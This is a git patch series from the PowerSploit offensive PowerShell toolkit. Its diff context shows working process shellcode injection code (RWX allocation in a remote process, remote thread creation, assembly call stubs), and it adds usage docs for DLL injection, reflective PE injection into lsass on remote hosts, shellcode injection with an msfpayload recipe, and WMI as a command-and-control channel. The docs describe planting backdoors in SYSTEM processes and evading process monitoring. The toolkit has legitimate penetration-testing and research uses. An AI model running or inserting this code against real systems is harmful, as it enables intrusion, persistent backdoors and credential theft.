[Type] $ReturnType = [Void] @@ -106,7 +111,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - + Write-Output $TypeBuilder.CreateType() } @@ -115,11 +120,11 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Param ( [OutputType([IntPtr])] - + [Parameter( Position = 0, Mandatory = $True )] [String] $Module, - + [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure @@ -136,7 +141,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } @@ -151,12 +156,12 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $LittleEndianByteArray = New-Object Byte[](0) $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } [System.Array]::Reverse($LittleEndianByteArray) - + Write-Output $LittleEndianByteArray } - + $CallStub = New-Object Byte[](0) - + if ($IntSizePtr -eq 8) { [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode @@ -177,7 +182,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread $CallStub += 0xFF,0xD0 # CALL EAX } - + Write-Output $CallStub } @@ -185,7 +190,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { # Open a handle to the process you want to inject into $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) - + if (!$hProcess) { Throw "Unable to open a process handle for PID: $ProcessID" @@ -197,7 +202,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { # Determine if the process specified is 32 or 64 bit $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null - + if ((!$IsWow64) -and $PowerShell32bit) { Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.' @@ -208,7 +213,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw 'No shellcode was placed in the $Shellcode32 variable!' } - + $Shellcode = $Shellcode32 Write-Verbose 'Injecting into a Wow64 process.' Write-Verbose 'Using 32-bit shellcode.' @@ -219,7 +224,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw 'No shellcode was placed in the $Shellcode64 variable!' } - + $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } @@ -230,19 +235,19 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw 'No shellcode was placed in the $Shellcode32 variable!' } - + $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } # Reserve and commit enough memory in remote process to hold the shellcode $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) - + if (!$RemoteMemAddr) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } - + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode into the previously allocated memory @@ -255,25 +260,25 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 - + Write-Verbose 'Emitting 32-bit assembly call stub.' } else { # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 - + Write-Verbose 'Emitting 64-bit assembly call stub.' } # Allocate inline assembly stub $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) - + if (!$RemoteStubAddr) { Throw "Unable to allocate thread call stub memory in PID: $ProcessID" } - + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" # Write 32-bit assembly stub to remote process memory space @@ -281,7 +286,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # Execute shellcode as a remote thread $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) - + if (!$ThreadHandle) { Throw "Unable to launch remote thread in PID: $ProcessID" @@ -301,7 +306,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Throw 'No shellcode was placed in the $Shellcode32 variable!' return } - + $Shellcode = $Shellcode32 Write-Verbose 'Using 32-bit shellcode.' } @@ -312,36 +317,36 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit Throw 'No shellcode was placed in the $Shellcode64 variable!' return } - + $Shellcode = $Shellcode64 Write-Verbose 'Using 64-bit shellcode.' } - + # Allocate RWX memory for the shellcode $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) if (!$BaseAddress) { Throw "Unable to allocate shellcode memory in PID: $ProcessID" } - + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy shellcode to RWX buffer [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) - + # Get address of ExitThread function $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread - + if ($PowerShell32bit) { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 - + Write-Verbose 'Emitting 32-bit assembly call stub.' } else { $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 - + Write-Verbose 'Emitting 64-bit assembly call stub.' } @@ -351,7 +356,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit { Throw "Unable to allocate thread call stub." } - + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" # Copy call stub to RWX buffer @@ -366,7 +371,7 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # Wait for shellcode thread to terminate $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null - + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) @@ -477,9 +482,9 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) - + Write-Verbose "Injecting shellcode into PID: $ProcessId" - + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) { @@ -501,13 +506,13 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) - + Write-Verbose "Injecting shellcode into PowerShell" - + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', "Injecting shellcode into the running PowerShell process!" ) ) { Inject-LocalShellcode } - } + } } diff --git a/CodeExecution/Invoke-WmiCommand.ps1 b/CodeExecution/Invoke-WmiCommand.ps1 index 0c064243..9f03f9b1 100644 --- a/CodeExecution/Invoke-WmiCommand.ps1 +++ b/CodeExecution/Invoke-WmiCommand.ps1 @@ -5,10 +5,10 @@ function Invoke-WmiCommand { Executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. -Author: Matthew Graeber -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -149,6 +149,9 @@ Write-Host in your scripts though, you probably don't deserve to get the output of your payload back. :P #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingInvokeExpression', '')] [CmdletBinding()] Param ( [Parameter( Mandatory = $True )] diff --git a/docs/CodeExecution/Invoke-DllInjection.md b/docs/CodeExecution/Invoke-DllInjection.md new file mode 100755 index 00000000..d41bf318 --- /dev/null +++ b/docs/CodeExecution/Invoke-DllInjection.md @@ -0,0 +1,79 @@ +# Invoke-DllInjection + +## SYNOPSIS +Injects a Dll into the process ID of your choosing. + +PowerSploit Function: Invoke-DllInjection +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-DllInjection [-ProcessID] [-Dll] +``` + +## DESCRIPTION +Invoke-DllInjection injects a Dll into an arbitrary process. +It does this by using VirtualAllocEx to allocate memory the size of the +DLL in the remote process, writing the names of the DLL to load into the +remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread +to invoke LoadLibraryA in the context of the remote process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-DllInjection -ProcessID 4274 -Dll evil.dll +``` + +Description +----------- +Inject 'evil.dll' into process ID 4274. + +## PARAMETERS + +### -ProcessID +Process ID of the process you want to inject a Dll into. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Dll +Name of the dll to inject. +This can be an absolute or relative path. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: True +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +Use the '-Verbose' option to print detailed information. + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/CodeExecution/Invoke-ReflectivePEInjection.md b/docs/CodeExecution/Invoke-ReflectivePEInjection.md new file mode 100755 index 00000000..aee653d8 --- /dev/null +++ b/docs/CodeExecution/Invoke-ReflectivePEInjection.md @@ -0,0 +1,300 @@ +# Invoke-ReflectivePEInjection + +## SYNOPSIS +This script has two modes. +It can reflectively load a DLL/EXE in to the PowerShell process, +or it can reflectively load a DLL in to a remote process. +These modes have different parameters and constraints, +please lead the Notes section (GENERAL NOTES) for information on how to use them. + +1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. +Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + +This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, +this will load and execute the DLL/EXE in to memory without writing any files to disk. + +2.) Reflectively load a DLL in to memory of a remote process. +As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + +This is probably most useful for injecting backdoors in SYSTEM processes in Session0. +Currently, you cannot retrieve output +from the DLL. +The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the +remote process. + +PowerSploit Function: Invoke-ReflectivePEInjection +Author: Joe Bialek, Twitter: @JosephBialek +Code review and modifications: Matt Graeber, Twitter: @mattifestation +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-ReflectivePEInjection [-PEBytes] [[-ComputerName] ] [[-FuncReturnType] ] + [[-ExeArgs] ] [[-ProcId] ] [[-ProcName] ] [-ForceASLR] [-DoNotZeroMZ] +``` + +## DESCRIPTION +Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print +``` + +the wchar_t* returned by WStringFunc() from all the computers. +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Load DemoEXE and run it locally. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoEXE.exe') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR + +### -------------------------- EXAMPLE 5 -------------------------- +``` +Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. +``` + +$PEBytes = \[IO.File\]::ReadAllBytes('DemoDLL_RemoteProcess.dll') +Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local + +## PARAMETERS + +### -PEBytes +A byte array containing a DLL/EXE to load and execute. + +```yaml +Type: Byte[] +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerName +Optional, an array of computernames to run the script on. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FuncReturnType +Optional, the return type of the function being called in the DLL. +Default: Void + Options: String, WString, Void. +See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: Void +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExeArgs +Optional, arguments to pass to the executable being reflectively loaded. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcId +Optional, the process ID of the remote process to inject the DLL in to. +If not injecting in to remote process, ignore this. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcName +Optional, the name of the remote process to inject the DLL in to. +If not injecting in to remote process, ignore this. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 6 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ForceASLR +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. +Some PE's will work with ASLR even + if the compiler flags don't indicate they support it. +Other PE's will simply crash. +Make sure to test this prior to using. +Has no effect when + loading in to a remote process. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DoNotZeroMZ +Optional, will not wipe the MZ from the first two bytes of the PE. +This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +GENERAL NOTES: +The script has 3 basic sets of functionality: +1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. +2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. +If remote output is needed, you must use a DLL. +CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. +3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). +This is the function that will be called after the DLL is loaded. + +DLL LOADING NOTES: + +PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. +If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL +return a char* or wchar_t*, which PowerShell can take and read the output from. +Anything output from stdout which is run using powershell +remoting will not be returned to you. +If you just run the PowerShell script locally, you WILL be able to see the stdout output from +applications because it will just appear in the console window. +The limitation only applies when using PowerShell remoting. + +For DLL Loading: +Once this script loads the DLL, it calls a function in the DLL. +There is a section near the bottom labeled "YOUR CODE GOES HERE" +I recommend your DLL take no parameters. +I have prewritten code to handle functions which take no parameters are return +the following types: char*, wchar_t*, and void. +If the function returns char* or wchar_t* the script will output the +returned data. +The FuncReturnType parameter can be used to specify which return type to use. +The mapping is as follows: +wchar_t* : FuncReturnType = WString +char* : FuncReturnType = String +void : Default, don't supply a FuncReturnType + +For the whcar_t* and char_t* options to work, you must allocate the string to the heap. +Don't simply convert a string +using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + +The function name expected in the DLL for the prewritten FuncReturnType's is as follows: +WString : WStringFunc +String : StringFunc +Void : VoidFunc + +These function names ARE case sensitive. +To create an exported DLL function for the wstring type, the function would +be declared as follows: +extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + +If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify +this script to accomodate this. +You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + +Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + +## RELATED LINKS + +[http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/](http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + +Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ +Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/) + diff --git a/docs/CodeExecution/Invoke-Shellcode.md b/docs/CodeExecution/Invoke-Shellcode.md new file mode 100755 index 00000000..7240a4c2 --- /dev/null +++ b/docs/CodeExecution/Invoke-Shellcode.md @@ -0,0 +1,116 @@ +# Invoke-Shellcode + +## SYNOPSIS +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-Shellcode [-ProcessID ] [-Shellcode ] [-Force] +``` + +## DESCRIPTION +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. +To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/\[";\]//g;s/\\\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. +Also, don't bother encoding your shellcode. +It's entirely unnecessary. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-Shellcode -ProcessId 4274 +``` + +Description +----------- +Inject shellcode into process ID 4274. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Invoke-Shellcode +``` + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) +``` + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. +64-bit! + +## PARAMETERS + +### -ProcessID +Process ID of the process you want to inject shellcode into. + +```yaml +Type: UInt16 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Shellcode +Specifies an optional shellcode passed in as a byte array + +```yaml +Type: Byte[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Force +Injects shellcode without prompting for confirmation. +By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/CodeExecution/Invoke-WmiCommand.md b/docs/CodeExecution/Invoke-WmiCommand.md new file mode 100755 index 00000000..23e7d9e1 --- /dev/null +++ b/docs/CodeExecution/Invoke-WmiCommand.md @@ -0,0 +1,311 @@ +# Invoke-WmiCommand + +## SYNOPSIS +Executes a PowerShell ScriptBlock on a target computer using WMI as a +pure C2 channel. + +Author: Matthew Graeber +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Invoke-WmiCommand [-Payload] [[-RegistryHive] ] [[-RegistryKeyPath] ] + [[-RegistryPayloadValueName] ] [[-RegistryResultValueName] ] [[-ComputerName] ] + [[-Credential] ] [[-Impersonation] ] + [[-Authentication] ] [-EnableAllPrivileges] [[-Authority] ] +``` + +## DESCRIPTION +Invoke-WmiCommand executes a PowerShell ScriptBlock on a target +computer using WMI as a pure C2 channel. +It does this by using the +StdRegProv WMI registry provider methods to store a payload into a +registry value. +The command is then executed on the victim system and +the output is stored in another registry value that is then retrieved +remotely. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Hosts = Get-Content hostnames.txt +``` + +PS C:\\\>$Payload = Get-Content payload.ps1 +PS C:\\\>$Credential = Get-Credential 'TargetDomain\TargetUser' +PS C:\\\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$Payload = Get-Content payload.ps1 +``` + +PS C:\\\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2' + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose +``` + +## PARAMETERS + +### -Payload +Specifies the payload to be executed on the remote system. + +```yaml +Type: ScriptBlock +Parameter Sets: (All) +Aliases: + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryHive +{{Fill RegistryHive Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 2 +Default value: HKEY_CURRENT_USER +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryKeyPath +Specifies the registry key where the payload and payload output will +be stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 3 +Default value: SOFTWARE\Microsoft\Cryptography\RNG +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryPayloadValueName +Specifies the registry value name where the payload will be stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 4 +Default value: Seed +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RegistryResultValueName +Specifies the registry value name where the payload output will be +stored. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 5 +Default value: Value +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerName +Runs the command on the specified computers. +The default is the local +computer. + +Type the NetBIOS name, an IP address, or a fully qualified domain +name of one or more computers. +To specify the local computer, type +the computer name, a dot (.), or "localhost". + +This parameter does not rely on Windows PowerShell remoting. +You can +use the ComputerName parameter even if your computer is not +configured to run remote commands. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Cn + +Required: False +Position: 6 +Default value: Localhost +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +Specifies a user account that has permission to perform this action. +The default is the current user. +Type a user name, such as "User01", +"Domain01\User01", or User@Contoso.com. +Or, enter a PSCredential +object, such as an object that is returned by the Get-Credential +cmdlet. +When you type a user name, you will be prompted for a +password. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: 7 +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Impersonation +Specifies the impersonation level to use. +Valid values are: + +0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) + +1: Anonymous (Hides the credentials of the caller.) + +2: Identify (Allows objects to query the credentials of the caller.) + +3: Impersonate (Allows objects to use the credentials of the caller.) + +4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) + +```yaml +Type: ImpersonationLevel +Parameter Sets: (All) +Aliases: +Accepted values: Default, Anonymous, Identify, Impersonate, Delegate + +Required: False +Position: 8 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Authentication +Specifies the authentication level to be used with the WMI connection. +Valid values are: + +-1: Unchanged + +0: Default + +1: None (No authentication in performed.) + +2: Connect (Authentication is performed only when the client establishes a relationship with the application.) + +3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) + +4: Packet (Authentication is performed on all the data that is received from the client.) + +5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) + +6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) + +```yaml +Type: AuthenticationLevel +Parameter Sets: (All) +Aliases: +Accepted values: Default, None, Connect, Call, Packet, PacketIntegrity, PacketPrivacy, Unchanged + +Required: False +Position: 9 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -EnableAllPrivileges +Enables all the privileges of the current user before the command +makes the WMI call. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Authority +Specifies the authority to use to authenticate the WMI connection. +You can specify standard NTLM or Kerberos authentication. +To use +NTLM, set the authority setting to ntlmdomain:\, where +\ identifies a valid NTLM domain name. +To use Kerberos, +specify kerberos:\. +You cannot include the +authority setting when you connect to the local computer. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 10 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### System.String[] + +Accepts one or more host names/IP addresses over the pipeline. + +## OUTPUTS + +### System.Management.Automation.PSObject + +Outputs a custom object consisting of the target computer name and +the output of the command executed. + +## NOTES +In order to receive the output from your payload, it must return +actual objects. +For example, Write-Host doesn't return objects +rather, it writes directly to the console. +If you're using +Write-Host in your scripts though, you probably don't deserve to get +the output of your payload back. +:P + +## RELATED LINKS + diff --git a/mkdocs.yml b/mkdocs.yml index f18c6446..8cc8a394 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -122,3 +122,9 @@ pages: - AntiVirus: - Functions: - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' +- CodeExecution: + - Functions: + - Find-AVSignature: 'CodeExecution/Invoke-DllInjection.md' + - Find-AVSignature: 'CodeExecution/Invoke-ReflectivePEInjection.md' + - Find-AVSignature: 'CodeExecution/Invoke-Shellcode.md' + - Find-AVSignature: 'CodeExecution/Invoke-WmiCommand.md' From a81faf36a4cdf925b4cb7cc1019648b37967e0bc Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 18:05:22 -0500 Subject: [PATCH 221/296] For ./Mayhem/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- Mayhem/Mayhem.psm1 | 180 +++++++++++++-------------- docs/Mayhem/Set-CriticalProcess.md | 108 ++++++++++++++++ docs/Mayhem/Set-MasterBootRecord.md | 184 ++++++++++++++++++++++++++++ mkdocs.yml | 12 +- 4 files changed, 391 insertions(+), 